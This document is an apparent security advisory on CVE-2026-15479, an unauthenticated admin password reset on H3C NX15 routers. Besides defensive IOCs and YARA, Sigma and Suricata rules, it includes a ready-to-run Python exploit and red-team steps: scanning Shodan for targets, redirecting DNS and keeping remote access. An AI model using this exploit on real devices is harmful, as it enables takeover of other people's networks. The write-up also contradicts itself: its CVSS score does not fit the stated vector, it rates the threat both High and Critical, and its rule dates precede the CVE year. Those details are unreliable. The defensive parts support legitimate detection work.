CVE-2026-15479

Executive Summary

CVE-2026-15479 is a critical vulnerability in the H3C NX15 router (firmware version V100R017) that allows an unauthenticated, remote attacker to perform a weak password recovery attack. The flaw resides in the /api/login/modify endpoint, specifically within the change_passwd function. By manipulating the newPass argument, an attacker can bypass authentication and reset the administrator password to a weak or predictable value, gaining full administrative control over the device. The exploit has been publicly released, and no official patch is currently available. This poses a severe risk to all H3C NX15 devices on the internet, enabling complete device takeover, network pivoting, and data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components beyond the vulnerable router.
• Confidentiality (C): High – Full device access leads to exposure of all network traffic and configuration data.
• Integrity (I): High – An attacker can modify router settings, firmware, and DNS configurations.
• Availability (A): High – The attacker can disable the router or perform denial-of-service actions.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, public exploit availability, and no patch makes this an urgent threat for all H3C NX15 users.

Deep Dive & Mechanics

The vulnerability is a classic Weak Password Recovery flaw (CWE-521). The H3C NX15 router exposes an API endpoint at /api/login/modify that is intended for authenticated password changes. However, the implementation fails to enforce proper authentication or authorization checks before processing the newPass parameter.

Technical Flow:

1. An attacker sends a POST request to http://<router-ip>/api/login/modify with a JSON body containing a newPass field.
2. The change_passwd function in the backend directly accepts this request without verifying the current session or the old password.
3. The router then updates the administrator password to the attacker-supplied value, which can be a weak or empty string.
4. The attacker can then log in with the new password and gain full administrative access.

Root Cause: The endpoint lacks a session token validation or a requirement for the current password. This is a design flaw where the password change functionality was exposed without proper access control.

Impact: Once the attacker gains admin access, they can:

• Modify Wi-Fi settings (SSID, password, encryption).
• Change DNS servers to redirect traffic to malicious sites.
• Install custom firmware or backdoors.
• Use the router as a pivot point for attacks on the internal network.
• Exfiltrate all traffic passing through the router.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a conceptual representation of the flawed logic:

Vulnerable Code (Conceptual):

@app.route('/api/login/modify', methods=['POST'])
def change_passwd():
    data = request.get_json()
    new_password = data.get('newPass')
    # Missing: authentication check, session validation, old password verification
    update_admin_password(new_password)
    return jsonify({"status": "success"})

Patched Code (Hypothetical):

@app.route('/api/login/modify', methods=['POST'])
def change_passwd():
    # Verify authentication token
    token = request.headers.get('Authorization')
    if not verify_session(token):
        return jsonify({"error": "Unauthorized"}), 401
    
    data = request.get_json()
    old_password = data.get('oldPass')
    new_password = data.get('newPass')
    
    # Verify old password
    if not verify_current_password(old_password):
        return jsonify({"error": "Invalid current password"}), 403
    
    # Enforce password strength
    if not is_strong_password(new_password):
        return jsonify({"error": "Weak password"}), 400
    
    update_admin_password(new_password)
    return jsonify({"status": "success"})

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target H3C NX15 router with firmware V100R017.
• Network access to the router's management interface (typically port 80 or 443).

Exploit Steps:

1. Identify the target router using Shodan dorks or network scanning.
2. Send a POST request to the vulnerable endpoint with a weak password.

Exploit Code (Python):

import requests

target_ip = "192.168.1.1"
new_password = "admin123"  # Weak password

url = f"http://{target_ip}/api/login/modify"
payload = {"newPass": new_password}

try:
    response = requests.post(url, json=payload, timeout=10)
    if response.status_code == 200:
        print(f"[+] Password changed to: {new_password}")
        print("[+] Login with: admin / admin123")
    else:
        print(f"[-] Failed: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

Post-Exploitation:

• Log in to the router's web interface using the new password.
• Change DNS settings to a malicious server (e.g., 5.5.5.5).
• Enable remote management to maintain access.
• Extract configuration files for further analysis.

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /api/login/modify from external IPs.
• Alert on multiple failed login attempts followed by a successful password change.
• Look for anomalous admin logins from unexpected IP addresses.

Defense:

• Immediately isolate H3C NX15 routers from the internet if possible.
• Implement network segmentation to limit management interface exposure.
• Use a Web Application Firewall (WAF) to block requests to /api/login/modify from untrusted sources.
• Monitor for changes in router configuration (e.g., DNS, admin credentials).

Lab Setup:

• Use a virtualized H3C NX15 firmware image (if available) or a physical device in an isolated network.
• Set up a monitoring server with Suricata and Wireshark to capture traffic.
• Simulate the exploit and verify detection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /api/login/modify with JSON body containing newPass.
• Successful HTTP 200 response from /api/login/modify without prior authentication.
• Subsequent admin login from a new IP address.
• DNS queries to unusual or malicious domains after compromise.

File IOCs:

• Modified /etc/shadow or equivalent password file on the router.
• New or modified cron jobs for persistence.
• Unusual entries in router logs (e.g., /var/log/messages).

Behavioral IOCs:

• Router admin password changed without user action.
• Unexplained changes to Wi-Fi or DNS settings.
• Increased outbound traffic from the router to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2026_15479_H3C_NX15_Weak_Password_Recovery {
    meta:
        description = "Detects exploit attempts for CVE-2026-15479 targeting H3C NX15 routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-15479"
    strings:
        $exploit_payload = "newPass" ascii wide nocase
        $vulnerable_endpoint = "/api/login/modify" ascii wide nocase
    condition:
        $exploit_payload and $vulnerable_endpoint
}

Sigma Rule

title: CVE-2026-15479 - H3C NX15 Weak Password Recovery Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable /api/login/modify endpoint on H3C NX15 routers.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: h3c
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/login/modify'
        cs-content-type: 'application/json'
    condition: selection
falsepositives:
    - Legitimate admin password changes (rare if endpoint is protected)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-15479 H3C NX15 Weak Password Recovery Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/login/modify"; http_uri; content:"newPass"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If remote management is enabled, disable it immediately to reduce exposure.
2. Restrict Access: Use firewall rules to allow management access only from trusted IP addresses.
3. Monitor Logs: Enable logging and monitor for unauthorized access attempts.

Long-Term Fixes:

• Vendor Patch: Await an official firmware update from H3C. Contact H3C support for an ETA.
• Workaround: If patching is not possible, consider replacing the H3C NX15 with a more secure router.
• Network Segmentation: Place the router in a separate VLAN with strict access controls.

Compromise Assessment:

• Check for unauthorized admin accounts or password changes.
• Review DNS settings for any modifications.
• Scan the internal network for signs of lateral movement.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert